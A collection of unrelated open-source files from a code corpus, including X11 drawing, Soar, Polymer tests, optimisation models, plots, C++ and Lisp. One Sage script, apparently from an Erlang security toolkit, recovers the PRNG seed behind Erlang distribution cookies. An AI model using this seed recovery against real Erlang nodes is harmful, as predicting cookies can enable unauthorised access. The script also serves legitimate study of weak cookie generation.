$window.DrawLine($lx, $ly, $x, $y);
$lx = $x;
$ly = $y;
#say $lx, ' ', $ly;
}
}
}
}
when KeyPress {
my $code = $event.keycode();
if ($code == $code_escape) {
$window.Unmap();
$window.Destroy();
}
}
when ClientMessage {
$window.Unmap();
$window.Destroy();
}
}
}
$display.Close();
say 'Bye';
#-----------------------------------------------------------------------
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=perl6:
| Perl6 | 4 | winnit-myself/Wifie | examples/nci/xlibtest.p6 | [
"Artistic-2.0"
] |
19
SOAR_ID 0
ENUMERATION 1 1 state
ENUMERATION 2 1 nil
ENUMERATION 3 1 water-jug
SOAR_ID 4
ENUMERATION 5 1 initialize-water-jug
SOAR_ID 6
ENUMERATION 7 1 empty
SOAR_ID 8
ENUMERATION 9 1 pour
SOAR_ID 10
INTEGER_RANGE 11 -2147483648 2147483647
INTEGER_RANGE 12 -2147483648 2147483647
SOAR_ID 13
ENUMERATION 14 1 fill
INTEGER_RANGE 15 -2147483648 2147483647
SOAR_ID 16
ENUMERATION 17 1 record
ENUMERATION 18 4 empty fill none pour
23
0 jug 10
0 last-operator 18
0 name 3
0 operator 4
0 operator 6
0 operator 8
0 operator 13
0 operator 16
0 superstate 2
0 type 1
4 name 5
6 empty-jug 10
6 name 7
8 empty-jug 10
8 fill-jug 10
8 fill-jug 10
8 name 9
10 contents 11
10 empty 12
10 volume 15
13 fill-jug 10
13 name 14
16 name 17
| DM | 3 | UniKnow/jsoar | jsoar-soarunit/src/test/resources/example-unittest/water-jug/water-jug.dm | [
"BSD-3-Clause"
] |
size: 1024px 60px;
dpi: 96;
margin: 1em;
axis {
scale: categorical(A B C D E F);
}
| CLIPS | 2 | asmuth-archive/travistest | test/examples/charts_reference_scale_categorical.clp | [
"Apache-2.0"
] |
<!doctype html>
<!--
Copyright (c) 2015 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
<html>
<head>
<title>iron-selector-selected-attribute</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<script src="../../web-component-tester/browser.js"></script>
<script src="../../test-fixture/test-fixture-mocha.js"></script>
<link rel="import" href="../../test-fixture/test-fixture.html">
<link rel="import" href="../iron-selector.html">
</head>
<body>
<test-fixture id="test1">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<span>Item 3</span>
</iron-selector>
</template>
</test-fixture>
<test-fixture id="test2">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<p>Item 3</p>
</iron-selector>
</template>
</test-fixture>
<script>
suite('excluded local names', function() {
var test1, test2;
setup(function () {
test1 = fixture('test1');
test2 = fixture('test2');
});
test('default `_excludedLocalNames`', function() {
assert.isTrue('template' in test1._excludedLocalNames);
assert.isTrue('template' in test2._excludedLocalNames);
});
test('custom `_excludedLocalNames`', function() {
test1._excludedLocalNames.foo = 1;
assert.isTrue('foo' in test1._excludedLocalNames);
assert.isFalse('foo' in test2._excludedLocalNames);
});
test('items', function(done) {
test1._excludedLocalNames.span = 1;
test2._excludedLocalNames.div = 1;
test1._updateItems();
test2._updateItems();
Polymer.Base.async(function() {
var NOT_FOUND = -1;
var items1 = test1.items.map(function(el) { return el.localName; });
var items2 = test2.items.map(function(el) { return el.localName; });
assert.equal(items1.indexOf('span'), NOT_FOUND);
assert.equal(items2.indexOf('div'), NOT_FOUND);
done();
});
});
});
</script>
</body>
</html>
| HTML | 3 | SHEFFcode/SHEFFolio-1.0 | components/iron-selector/test/excluded-local-names.html | [
"Apache-2.0"
] |
Dict{String,Any}() | Julia | 0 | vanillajonathan/julia | stdlib/TOML/test/testfiles/valid/empty.jl | [
"Zlib"
] |
#!/usr/bin/env sage
'''
Adapted from initial work performed by guillaume kaim.
Example usage:
echo "ELDUPJHMPTCVINSPFDTA" | ./revert-prng.sage
'''
import string
import sys
from scipy.stats import describe, tstd, cumfreq
N = 2**36
F = IntegerModRing(N)
A = F(17059465)
B = F(1)
a = [A]
b = [B]
for i in xrange(1, 20):
a.append(a[-1]*A)
b.append(b[-1]*A + B)
a_1 = []
b_1 = []
for i in range(20):
a_1.append(a[i]^(-1))
b_1.append(-b[i]*a_1[-1])
intervals = [(0, 2643056797), (2643056798, 5286113595), (5286113596, 7929170392), (7929170393, 10572227190), (10572227191, 13215283987), (13215283988, 15858340785), (15858340786, 18501397582), (18501397583, 21144454380), (21144454381, 23787511177), (23787511178, 26430567975), (26430567976, 29073624772), (29073624773, 31716681570), (31716681571, 34359738367), (34359738368, 37002795165), (37002795166, 39645851963), (39645851964, 42288908760), (42288908761, 44931965558), (44931965559, 47575022355), (47575022356, 50218079153), (50218079154, 52861135950), (52861135951, 55504192748), (55504192749, 58147249545), (58147249546, 60790306343), (60790306344, 63433363140), (63433363141, 66076419938), (66076419939, 68719476735)]
def split_cookie(cookie):
nums = []
for i in range(19, -1, -1):
assert(cookie[i] in string.ascii_uppercase)
nums.append(ord(cookie[i]) - ord('A'))
return nums
M = matrix(F, 19, 20)
for i in range(19):
M[i,0] = a_1[0]
for j in range(1, i+1):
M[i,j] = 0
M[i,i+1] = -a_1[i+1]
for j in range(i+2, 20):
M[i,j] = 0
def revert_prng(cookie):
nums = split_cookie(cookie)
assert(len(nums) == 20)
v = a_1[0]*intervals[nums[0]][0]+b_1[0]
n = matrix(F, 19, 1)
for i in range(19):
n[i,0] = a_1[i+1]*F(intervals[nums[i+1]][0])+b_1[i+1] - v
x = M.solve_right(n)
seed = a_1[0]*(x[0][0]+F(intervals[nums[0]][0]))+b_1[0]
return int(seed)
def derive_cookie(seed):
cookie = ''.join([c for c in random_cookie(20, seed)])
return cookie[::-1]
def random_cookie(n, seed):
x = seed
for i in range(n):
x = next_random(x)
yield chr((x*(26) / 0x1000000000) + ord('A'))
def next_random(x):
ret = (x*17059465+1) & 0xfffffffff
return ret
mode = 'print'
if len(sys.argv) == 2 and sys.argv[1] == 'stats':
mode = 'stats'
seeds = []
for cookie in sys.stdin.readlines():
cookie = cookie.rstrip('\n')
if len(cookie) == 0:
break
seed = revert_prng(cookie)
assert(derive_cookie(seed) == cookie)
if mode == 'print':
print(seed)
elif mode == 'stats':
seeds.append(seed)
if mode == 'stats':
desc = describe(seeds)
stddev = tstd(seeds)
print('number of cookies: %d' % desc.nobs)
print(' min seed: %d' % desc.minmax[0])
print(' max seed: %d' % desc.minmax[1])
print(' mean seed: %.f' % desc.mean)
print(' std deviation: %.f' % stddev)
| Sage | 4 | maikthulhu/erl-matter | revert-prng.sage | [
"BSD-3-Clause"
] |
#!/usr/bin/env bash
set -e
cd "$(dirname "$0")"
# based on https://medium.com/@felipedutratine/intelligent-benchmark-with-wrk-163986c1587f
cd /tmp/
sudo apt-get install build-essential libssl-dev git -y
git clone https://github.com/wg/wrk.git wrk
cd wrk
sudo make
# move the executable to somewhere in your PATH, ex:
sudo cp wrk /usr/local/bin | Shell | 4 | SuperHuangXu/nest | .circleci/install-wrk.sh | [
"MIT"
] |
version https://git-lfs.github.com/spec/v1
oid sha256:3625fd136e4267c8bb6ed45cf5662848a163b7a5444111df47beb4db448e340d
size 576
| Nit | 0 | JGCRI/lds | indata/WaterFootprint/Report47-App-IV-RasterMaps/Soybean/info/arc0001.nit | [
"BSD-3-Clause-LBNL"
] |
# Parameters
param N := read "network.csv" as "1n" use 1 comment "#";
set Ns := {0..N-1};
set N0 := {1..N-1};
param L := read "network.csv" as "2n" use 1 comment "#";
set Ls := {1..L};
param piTp := read "network.csv" as "3n" use 1 comment "#";
param piTd := read "network.csv" as "4n" use 1 comment "#";
param Sb := read "network.csv" as "5n" use 1 comment "#";
param Vb := read "network.csv" as "6n" use 1 comment "#";
param fromBus[Ls] := read "network.csv" as "<1n> 2n" skip 1 use L comment "#";
param toBus[Ls] := read "network.csv" as "<1n> 3n" skip 1 use L comment "#";
param Yg[Ls] := read "network.csv" as "<1n> 4n" skip 1 use L comment "#";
param Yb[Ls] := read "network.csv" as "<1n> 5n" skip 1 use L comment "#";
param C[Ls] := read "network.csv" as "<1n> 6n" skip 1 use L comment "#";
param V0 := read "network.csv" as "2n" skip 1+L use 1 comment "#";
param Vmin[Ns] := read "network.csv" as "3n" skip 1+L use N comment "#";
param Vmax[Ns] := read "network.csv" as "4n" skip 1+L use N comment "#";
param QPRatio[Ns] := read "network.csv" as "5n" skip 1+L use N comment "#";
param T := read "baselines-full.dat" as "2n" use 1 comment "#";
set Ts := {1..T};
param dt := read "baselines-full.dat" as "4n" use 1 comment "#";
param EPS := read "baselines-full.dat" as "5n" use 1 comment "#";
param injection[Ns*Ts] := read "baselines-full.dat" as "<1n,2n> 3n" skip 1 use (N*T) comment "#";
# Circle approximation parameters
param maxCPs:=4;
set cps := {1..maxCPs};
param cpCos[{0..maxCPs}] := <0> 1, <1> 0.923879532511287, <2> 0.707106781186548, <3> 0.382683432365090, <4> 0;
param cpSin[{0..maxCPs}] := <0> 0, <1> 0.382683432365090, <2> 0.707106781186547, <3> 0.923879532511287, <4> 1;
# Variables
var p[<line,t> in Ls*Ts] >= -C[line]/Sb-EPS <= C[line]/Sb+EPS;
var q[<line,t> in Ls*Ts] >= -C[line]/Sb-EPS <= C[line]/Sb+EPS;
var e[Ns*Ts] >= -infinity;
var f[Ns*Ts] >= -infinity;
var r0[Ts] >= -infinity;
var q0[Ts] >= -infinity;
var zeta[Ns*Ts] >= 0;
var nu[Ns*Ts] >= 0;
var pr[Ls*Ts] >= -infinity;
var qr[Ls*Ts] >= -infinity;
var er[Ns*Ts] >= -infinity;
var fr[Ns*Ts] >= -infinity;
var r0r[Ts] >= -infinity;
var q0r[Ts] >= -infinity;
var flowViolation[Ls*Ts] >= 0;
var voltageViolation[Ns*Ts] >= 0;
var z[Ns*Ts] binary;
var trippingCost[Ns*Ts] >= 0;
# Objective
minimize Costs:
sum <n,t> in Ns*Ts : (trippingCost[n,t] + zeta[n,t]*EPS + nu[n,t]*EPS) + sum <n,t> in Ns*Ts : EPS*voltageViolation[n,t] + sum <line,t> in Ls*Ts : EPS*flowViolation[line,t];
# Constraints
subto TrippingCostProductionDefinition:
forall <n,t> in Ns*Ts :
trippingCost[n,t]>=z[n,t]*piTp*dt*injection[n,t];
subto TrippingCostConsumptionDefinition:
forall <n,t> in Ns*Ts :
trippingCost[n,t]>=z[n,t]*piTd*dt*(-injection[n,t]);
subto SlackVolgateEr:
forall <t> in Ts:
er[0,t] == V0/Vb;
subto SlackVolgateFr:
forall <t> in Ts:
fr[0,t] == 0;
subto LinkVoltagePr:
forall <line,t> in Ls*Ts :
pr[line,t] == V0/Vb * (Yg[line]*(er[fromBus[line],t] - er[toBus[line],t]) - Yb[line]*(fr[fromBus[line],t] - fr[toBus[line],t])) ;
subto LinkVoltageQr:
forall <line,t> in Ls*Ts :
qr[line,t] == -V0/Vb * (Yb[line]*(er[fromBus[line],t] - er[toBus[line],t]) + Yg[line]*(fr[fromBus[line],t] - fr[toBus[line],t])) ;
subto ObservedProductionNodePr:
forall <n,t> in Ns*Ts :
injection[n,t]/Sb
+ if (n == 0) then r0r[t] else 0*r0r[t] end
== sum <line> in Ls : if (fromBus[line] == n) then pr[line,t] else 0*pr[line,t] end
- sum <line> in Ls : if (toBus[line] == n) then pr[line,t] else 0*pr[line,t] end;
subto ObservedProductionNodeQr:
forall <n,t> in Ns*Ts :
injection[n,t]*QPRatio[n]/Sb
+ if (n == 0) then q0r[t] else 0*q0r[t] end
== sum <line> in Ls : if (fromBus[line] == n) then qr[line,t] else 0*qr[line,t] end
- sum <line> in Ls : if (toBus[line] == n) then qr[line,t] else 0*qr[line,t] end;
subto MaxPowerNEQuadrantR:
forall <line,t,cp> in Ls*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*pr[line,t]+(cpCos[cp-1]-cpCos[cp])*qr[line,t] <= ((C[line]+flowViolation[line,t])/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerNWQuadrantR:
forall <line,t,cp> in Ls*Ts*cps:
-(cpSin[cp]-cpSin[cp-1])*pr[line,t]+(cpCos[cp-1]-cpCos[cp])*qr[line,t] <= ((C[line]+flowViolation[line,t])/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerSEQuadrantR:
forall <line,t,cp> in Ls*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*pr[line,t]-(cpCos[cp-1]-cpCos[cp])*qr[line,t] <= ((C[line]+flowViolation[line,t])/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerSWQuadrantR:
forall <line,t,cp> in Ls*Ts*cps:
-(cpSin[cp]-cpSin[cp-1])*pr[line,t]-(cpCos[cp-1]-cpCos[cp])*qr[line,t] <= ((C[line]+flowViolation[line,t])/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MinVoltageR:
forall <n,t> in Ns*Ts :
Vmin[n]-EPS-voltageViolation[n,t] <= er[n,t];
subto NEVoltageBoundR:
forall <n,t,cp> in Ns*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*er[n,t]+(cpCos[cp-1]-cpCos[cp])*fr[n,t] <= (Vmax[n]+EPS+voltageViolation[n,t])*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto SEVoltageBoundR:
forall <n,t,cp> in Ns*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*er[n,t]-(cpCos[cp-1]-cpCos[cp])*fr[n,t] <= (Vmax[n]+EPS+voltageViolation[n,t])*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto SlackVolgateE:
forall <t> in Ts:
e[0,t] == V0/Vb;
subto SlackVolgateF:
forall <t> in Ts:
f[0,t] == 0;
subto LinkVoltageP:
forall <line,t> in Ls*Ts :
p[line,t] == V0/Vb * (Yg[line]*(e[fromBus[line],t] - e[toBus[line],t]) - Yb[line]*(f[fromBus[line],t] - f[toBus[line],t])) ;
subto LinkVoltageQ:
forall <line,t> in Ls*Ts :
q[line,t] == -V0/Vb * (Yb[line]*(e[fromBus[line],t] - e[toBus[line],t]) + Yg[line]*(f[fromBus[line],t] - f[toBus[line],t])) ;
subto RealProductionNodeP:
forall <n,t> in Ns*Ts :
(1-z[n,t])*injection[n,t]/Sb
+ if (n == 0) then r0[t] else 0*r0[t] end
== sum <line> in Ls : if (fromBus[line] == n) then p[line,t] else 0*p[line,t] end
- sum <line> in Ls : if (toBus[line] == n) then p[line,t] else 0*p[line,t] end;
subto RealProductionNodeQ:
forall <n,t> in Ns*Ts :
(1-z[n,t])*injection[n,t]*QPRatio[n]/Sb
+ if (n == 0) then q0[t] else 0*q0[t] end
== sum <line> in Ls : if (fromBus[line] == n) then q[line,t] else 0*q[line,t] end
- sum <line> in Ls : if (toBus[line] == n) then q[line,t] else 0*q[line,t] end;
subto MaxPowerNEQuadrant:
forall <line,t,cp> in Ls*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*p[line,t]+(cpCos[cp-1]-cpCos[cp])*q[line,t] <= (C[line]/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerNWQuadrant:
forall <line,t,cp> in Ls*Ts*cps:
-(cpSin[cp]-cpSin[cp-1])*p[line,t]+(cpCos[cp-1]-cpCos[cp])*q[line,t] <= (C[line]/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerSEQuadrant:
forall <line,t,cp> in Ls*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*p[line,t]-(cpCos[cp-1]-cpCos[cp])*q[line,t] <= (C[line]/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MaxPowerSWQuadrant:
forall <line,t,cp> in Ls*Ts*cps:
-(cpSin[cp]-cpSin[cp-1])*p[line,t]-(cpCos[cp-1]-cpCos[cp])*q[line,t] <= (C[line]/Sb+EPS)*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto MinVoltage:
forall <n,t> in Ns*Ts :
Vmin[n]-EPS-zeta[n,t] <= e[n,t];
subto NEVoltageBound:
forall <n,t,cp> in Ns*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*e[n,t]+(cpCos[cp-1]-cpCos[cp])*f[n,t] <= (Vmax[n]+EPS+nu[n,t])*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
subto SEVoltageBound:
forall <n,t,cp> in Ns*Ts*cps:
(cpSin[cp]-cpSin[cp-1])*e[n,t]-(cpCos[cp-1]-cpCos[cp])*f[n,t] <= (Vmax[n]+EPS+nu[n,t])*(cpSin[cp]*cpCos[cp-1] - cpCos[cp]*cpSin[cp-1]);
| Zimpl | 4 | sebMathieu/dsima | simulator/models/DSO-linearOpf-operation.zpl | [
"BSD-3-Clause"
] |
sub Main()
arraygrid = createObject("roSGNode", "ArrayGrid")
print "arraygrid node type:" type(arraygrid)
print "arraygrid node subtype:" arraygrid.subtype()
print "arraygrid node focusRow:" arraygrid.focusRow
print "arraygrid node jumpToItem:" arraygrid.jumpToItem
parent = createObject("roSGNode", "ComponentsAsChildren")
arraygridAsChild = parent.findNode("arraygrid")
print "arraygrid as child wrapDividerWidth" arraygridAsChild.wrapDividerWidth
print "arraygrid as child numRows" arraygridAsChild.numRows
end sub
| Brightscript | 3 | lkipke/brs | test/e2e/resources/components/ArrayGrid.brs | [
"MIT"
] |
:global(.foo + a) {
color: red;
}
| CSS | 3 | fabiosantoscode/swc | css/parser/tests/fixture/styled-jsx/selector/1/input.css | [
"Apache-2.0",
"MIT"
] |
# columns: epoch, trn-softloss, tst-softloss, trn-zeroone, tst-zeroone
$DATA << EOD
1 0.21368 0.216716 0.0686333 0.071
2 0.148743 0.158744 0.0484167 0.0505
3 0.0990149 0.115321 0.0311 0.0355
4 0.0784275 0.103065 0.0250833 0.031
5 0.0667848 0.0983643 0.02145 0.0294
6 0.0615907 0.0991883 0.02005 0.0297
7 0.0514755 0.0941956 0.0167667 0.0285
8 0.0430571 0.090515 0.0138833 0.0269
9 0.038005 0.0892147 0.0120833 0.0265
10 0.0324015 0.087271 0.0101333 0.0261
11 0.0301627 0.0877804 0.0097 0.0254
12 0.025283 0.085926 0.0078 0.0251
13 0.0243211 0.0881827 0.0076 0.0252
14 0.0200328 0.0860985 0.00615 0.0237
15 0.0184035 0.0868063 0.00565 0.0235
16 0.0171727 0.0888022 0.00525 0.023
17 0.0143846 0.0887448 0.0042 0.0234
18 0.0127311 0.0883322 0.00356667 0.0226
19 0.0123884 0.0905275 0.00363333 0.0227
20 0.0106657 0.0896485 0.00278333 0.0219
21 0.0111968 0.0923332 0.00335 0.0227
22 0.00913531 0.0919702 0.00221667 0.0223
23 0.00818608 0.0924025 0.00196667 0.0223
24 0.00717907 0.0921585 0.00158333 0.0213
25 0.0060426 0.0914237 0.00113333 0.0209
26 0.00522907 0.0919446 0.000883333 0.0211
27 0.00467282 0.0916235 0.000666667 0.0212
28 0.00431746 0.0923143 0.00055 0.0212
29 0.00400146 0.0926324 0.0005 0.0214
30 0.00359092 0.0926629 0.000433333 0.0212
31 0.00330275 0.0931208 0.000383333 0.021
32 0.00307077 0.0933774 0.000333333 0.0211
33 0.00276997 0.0935151 0.000216667 0.0207
34 0.00262802 0.0938239 0.0002 0.0207
35 0.00239925 0.0941581 0.000133333 0.0208
36 0.00228617 0.0943443 0.000133333 0.0208
37 0.00208118 0.0945074 6.66667e-05 0.0203
38 0.0019772 0.094652 5e-05 0.0204
39 0.00183792 0.0949817 3.33333e-05 0.0203
40 0.0017424 0.0951148 3.33333e-05 0.0206
41 0.00164425 0.0953909 3.33333e-05 0.0204
42 0.0015418 0.0954776 3.33333e-05 0.0204
43 0.00147523 0.0956525 3.33333e-05 0.0204
44 0.00140581 0.0956929 3.33333e-05 0.0201
45 0.00132049 0.0960656 1.66667e-05 0.0203
46 0.0012685 0.0960909 1.66667e-05 0.0203
47 0.00120771 0.0964452 1.66667e-05 0.0204
48 0.00115269 0.0964233 1.66667e-05 0.0202
49 0.00110375 0.0967309 1.66667e-05 0.0202
50 0.0010675 0.0967634 1.66667e-05 0.0202
51 0.00101162 0.0969878 1.66667e-05 0.0201
52 0.000974889 0.0971051 0 0.0201
53 0.000943515 0.0973498 0 0.0203
54 0.0009037 0.0974865 0 0.0204
55 0.000874899 0.0976762 0 0.0204
56 0.000839252 0.0977906 0 0.0204
57 0.00081795 0.0979355 0 0.0204
58 0.000783544 0.098115 0 0.0203
59 0.000757894 0.098243 0 0.0201
60 0.000741802 0.0985299 0 0.0202
61 0.000716482 0.0985732 0 0.0202
62 0.00069057 0.098717 0 0.02
63 0.000674173 0.0988645 0 0.0201
64 0.000651945 0.0990769 0 0.02
65 0.000634128 0.0992128 0 0.0201
66 0.000615445 0.0993656 0 0.0201
67 0.000600585 0.0994826 0 0.0201
68 0.00058539 0.0996868 0 0.0201
69 0.000570457 0.0998113 0 0.0201
70 0.000556551 0.0999955 0 0.02
71 0.0005418 0.100154 0 0.02
72 0.000529814 0.10027 0 0.02
73 0.000517589 0.100392 0 0.02
74 0.000506199 0.10056 0 0.02
75 0.000494839 0.100655 0 0.02
76 0.000481523 0.100843 0 0.02
77 0.000473734 0.100946 0 0.02
78 0.000462746 0.101072 0 0.02
79 0.000451655 0.101187 0 0.0199
80 0.000445 0.101372 0 0.02
81 0.000433986 0.10145 0 0.0198
82 0.000426953 0.101599 0 0.0199
83 0.000416511 0.101729 0 0.02
84 0.000410284 0.101828 0 0.0199
85 0.000402624 0.102011 0 0.0199
86 0.000393461 0.102124 0 0.0201
87 0.000388313 0.102209 0 0.0199
88 0.000380179 0.102329 0 0.02
89 0.000373327 0.102486 0 0.0201
90 0.000367613 0.102592 0 0.02
91 0.000361188 0.102701 0 0.02
92 0.00035417 0.102834 0 0.0201
93 0.000349648 0.102883 0 0.02
94 0.000343386 0.103053 0 0.02
95 0.000337442 0.103157 0 0.02
96 0.000332913 0.103236 0 0.02
97 0.000327109 0.103397 0 0.0201
98 0.000322173 0.103487 0 0.0199
99 0.000317778 0.103551 0 0.02
100 0.000312348 0.103722 0 0.02
EOD
set size square
set terminal png size 800,400
set output 'mnist_mlp.png'
set multiplot layout 1,2
set xlabel 'epochs'
set title 'negative log likelihood'
set yrange [0:0.3]
plot $DATA using 1:2 title 'train', '' using 1:3 title 'test'
set title 'misclassification error'
set yrange [0:0.1]
plot $DATA using 1:4 title 'train', '' using 1:5 title 'test'
| Gnuplot | 2 | AndrewSerra/Knet.jl | docs/src/images/mnist_mlp.gp | [
"MIT"
] |
/******************************************************************************
* Copyright 2017 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
/**
* @file
**/
#include "modules/planning/common/trajectory1d/standing_still_trajectory1d.h"
namespace apollo {
namespace planning {
StandingStillTrajectory1d::StandingStillTrajectory1d(const double p,
const double duration)
: fixed_position_(p), duration_(duration) {}
double StandingStillTrajectory1d::ParamLength() const { return duration_; }
std::string StandingStillTrajectory1d::ToString() const { return ""; }
double StandingStillTrajectory1d::Evaluate(const std::uint32_t order,
const double param) const {
// ACHECK(param <= duration_);
switch (order) {
case 0:
return Evaluate_s(param);
case 1:
return Evaluate_v(param);
case 2:
return Evaluate_a(param);
case 3:
return Evaluate_j(param);
}
return 0.0;
}
double StandingStillTrajectory1d::Evaluate_s(const double t) const {
return fixed_position_;
}
double StandingStillTrajectory1d::Evaluate_v(const double t) const {
return 0.0;
}
double StandingStillTrajectory1d::Evaluate_a(const double t) const {
return 0.0;
}
double StandingStillTrajectory1d::Evaluate_j(const double t) const {
return 0.0;
}
} // namespace planning
} // namespace apollo
| C++ | 4 | jzjonah/apollo | modules/planning/common/trajectory1d/standing_still_trajectory1d.cc | [
"Apache-2.0"
] |
server {
listen 80 default_server;
listen [::]:80 default_server;
root /path to repo /public/;
index index.php index.html index.htm index.nginx-debian.html;
server_name server_domain_or_IP;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
| ApacheConf | 4 | jamesacampbell/fugitive | config/example.vhost | [
"MIT"
] |
(in-package #:house)
;;;;;;;;;; Parameter type parsing.
;;;;; Basics
(defgeneric type-expression (parameter type)
(:documentation
"A type-expression will tell the server how to convert a parameter from a string to a particular, necessary type."))
(defgeneric type-assertion (parameter type)
(:documentation
"A lookup assertion is run on a parameter immediately after conversion. Use it to restrict the space of a particular parameter."))
(defmethod type-expression (parameter type) nil)
(defmethod type-assertion (parameter type) nil)
;;;;; Definition macro
(defmacro define-http-type ((type) &key type-expression type-assertion)
(with-gensyms (tp)
`(let ((,tp ,type))
,@(when type-expression
`((defmethod type-expression (parameter (type (eql ,tp))) ,type-expression)))
,@(when type-assertion
`((defmethod type-assertion (parameter (type (eql ,tp))) ,type-assertion))))))
;;;;; Common HTTP types
(define-http-type (:string))
(define-http-type (:integer)
:type-expression `(parse-integer ,parameter :junk-allowed t)
:type-assertion `(numberp ,parameter))
(define-http-type (:json)
:type-expression `(json:decode-json-from-string ,parameter))
(define-http-type (:keyword)
:type-expression `(->keyword ,parameter))
(define-http-type (:list-of-keyword)
:type-expression `(loop for elem in (json:decode-json-from-string ,parameter)
if (stringp elem) collect (->keyword elem)
else do (error (make-instance 'http-assertion-error :assertion `(stringp ,elem)))))
(define-http-type (:list-of-integer)
:type-expression `(json:decode-json-from-string ,parameter)
:type-assertion `(every #'numberp ,parameter))
;;;;;;;;;; Constructing argument lookups
(defun arg-exp (arg-sym)
`(aif (cdr (assoc ,(->keyword arg-sym) parameters))
(uri-decode it)
(error (make-instance 'http-assertion-error :assertion ',arg-sym))))
(defun arguments (args body)
(loop with res = body
for arg in args
do (match arg
((guard arg-sym (symbolp arg-sym))
(setf res `(let ((,arg-sym ,(arg-exp arg-sym))) ,res)))
((list* arg-sym type restrictions)
(setf res
`(let ((,arg-sym ,(or (type-expression (arg-exp arg-sym) type) (arg-exp arg-sym))))
,@(awhen (type-assertion arg-sym type) `((assert-http ,it)))
,@(loop for r in restrictions collect `(assert-http ,r))
,res))))
finally (return res)))
;;;;;;;;;; Defining Handlers
(defparameter *handlers* (make-hash-table :test 'equal))
(defmacro make-closing-handler ((&key (content-type "text/html")) (&rest args) &body body)
`(lambda (socket parameters)
(declare (ignorable parameters))
,(arguments args
`(let ((res (make-instance
'response
:content-type ,content-type
:body (progn ,@body))))
(write! res socket)
(socket-close socket)))))
(defmacro make-stream-handler ((&rest args) &body body)
`(lambda (socket parameters)
(declare (ignorable parameters))
,(arguments args
`(let ((res (progn ,@body)))
(write! (make-instance 'response
:keep-alive? t :content-type "text/event-stream")
socket)
(write! (make-instance 'sse :data (or res "Listening...")) socket)
(force-output (socket-stream socket))))))
(defmacro bind-handler (name handler)
(assert (symbolp name) nil "`name` must be a symbol")
(let ((uri (if (eq name 'root) "/" (format nil "/~(~a~)" name))))
`(progn
(when (gethash ,uri *handlers*)
(warn ,(format nil "Redefining handler '~a'" uri)))
(setf (gethash ,uri *handlers*) ,handler))))
(defmacro define-handler ((name &key (close-socket? t) (content-type "text/html")) (&rest args) &body body)
(if close-socket?
`(bind-handler ,name (make-closing-handler (:content-type ,content-type) ,args ,@body))
`(bind-handler ,name (make-stream-handler ,args ,@body))))
| Common Lisp | 5 | adlerliu/500lines | event-web-framework/code/define-handler.lisp | [
"CC-BY-3.0"
] |
//
// Copyright (c) 2019, chunquedong
// Licensed under the Academic Free License version 3.0
//
// History:
// 2019-01-19 Jed Young Creation
//
class ExprFlat : CompilerStep
{
private Stmt[] stmts := [,]
new make(Compiler compiler)
: super(compiler)
{
}
override Void run()
{
log.debug("ExprDecom")
walk(compiler, VisitDepth.slotDef)
bombIfErr
}
override Void visitMethodDef(MethodDef def) {
if (def.code == null) return
if ((curMethod.flags.and(FConst.Async)) == 0) return
stmts.clear
def.code.stmts.each |Stmt s| { stmt(s) }
def.code.stmts = stmts.dup
//curType.dump
//def.print(AstWriter.make)
}
private Void stmt(Stmt stmt)
{
switch (stmt.id)
{
case StmtId.nop: addStmt(stmt)
case StmtId.expr: processExpr(((ExprStmt)stmt))
case StmtId.localDef: processExpr((LocalDefStmt)stmt)
case StmtId.jumpStmt: processExpr((JumpStmt)stmt)
case StmtId.returnStmt: processExpr((ReturnStmt)stmt)
case StmtId.targetLable: addStmt(stmt)
case StmtId.throwStmt: processExpr((ThrowStmt)stmt)
case StmtId.switchTable: addStmt(stmt)
case StmtId.exception: addStmt(stmt)
case StmtId.exceptionHandler:addStmt(stmt)
default: throw Err(stmt.id.toStr)
}
}
private Void addStmt(Stmt stmt) {
stmts.add(stmt)
}
